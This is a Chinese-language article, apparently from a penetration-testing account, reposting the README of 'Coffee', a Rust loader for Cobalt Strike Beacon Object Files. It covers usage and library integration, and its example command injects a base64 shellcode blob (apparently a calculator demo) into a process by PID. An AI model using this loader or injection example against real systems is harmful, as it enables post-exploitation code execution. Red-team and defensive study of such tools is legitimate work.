Rust加载器 - Coffee

文摘   2024-11-12 11:12   上海  

/ 咖啡 /

https://github.com/hakaioffsec/coffee

Coffee 是原始 Cobalt Strike 的 beacon_inline_execute ( https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#beacon_inline_execute )的自定义实现。它用 Rust 编写,支持 Cobalt Strike 兼容层的大部分功能。Coffee 的结构使得它也可以用作其他项目中的库。

原始博客文章可以在这里找到:https://labs.hakaioffsec.com/coffee-a-coff-loader-made-in-rust/

1


   

用法

$ coffee.exe -hCoffee: A COFF loader made in Rust
Usage: coffee.exe [OPTIONS] --bof-path <BOF_PATH> [-- <ARGS>...]
Arguments: [ARGS]... Arguments to the BOF passed after the "--" delimiter, supported types are: str, wstr, int, short, bin
Options: -b, --bof-path <BOF_PATH> Path to the Beacon Object File (BOF) -e, --entrypoint <ENTRYPOINT> The entrypoint name to execute in case of a custom entrypoint name [default: go] -v, --verbosity <VERBOSITY> Verbosity level, 0 = ERROR, 1 = WARN, 2 = INFO, 3 = DEBUG, 4 = TRACE [default: 0] -h, --help Print help -V, --version Print version


1.1


   

参数

BOF 的参数可以在分隔符后传递--。每个参数必须以参数类型作为前缀,后跟冒号 ( :)。支持以下类型:

  • str- 以空字符结尾的字符串

  • wstr- 宽空终止字符串

  • int- 有符号的 32 位整数

  • short- 有符号的 16 位整数

  • bin- 经过 base64 编码的二进制 blob

2

   

示例

使用dir.x64.o来自https://github.com/trustedsec/CS-Situational-Awareness-BOF 存储库的 BOF 并将参数传递给 BOF:

coffee.exe --bof-path .\dir.x64.o -- wstr:"C:\\Windows\\System32"


使用来自 trustsec/CS-Remote-OPs-BOF ( https://github.com/trustedsec/CS-Remote-OPs-BOF )ntcreatethread.x64.o存储库的 BOF ,并传递 PID 和 shellcode 以作为 base64 编码的二进制数据执行。


coffee.exe --bof-path .\ntcreatethread.x64.o -- int:1337 bin:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA


3


   

作为库使用


cargo add coffee-ldr


Coffee 可以作为其他项目中的库使用。以下示例显示如何使用 Coffee 加载 BOF 并执行 BOF:


use coffee_ldr::loader::Coffee;
fn main() { let whoami_bof: [u8; 6771] = [ 0x64, 0x86, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x14, 0x00, 0x00, 0x33, 0x00, 0x00, ... ];
let _ = Coffee::new(&whoami_bof).unwrap().execute(None, None, None);}


上面的例子将执行作为字节数组传递的 BOF 并在控制台中显示输出。

详细文档可以在这里找到:

https://docs.rs/coffee-ldr/latest/coffee_ldr/loader/struct.Coffee.html

4


   

从源代码构建

  1. 从 https://rustup.rs/ ( https://rustup.rs/ )安装 Rust

  2. 克隆存储库

  3. 使用以下方式构建项目


cargo build --release

Eonian Sharp
Eonian Sharp | 永恒之锋,专注APT框架、渗透测试攻击与防御的研究与开发,没有永恒的安全,但有永恒的正义之锋击破黑暗的不速之客。
 最新文章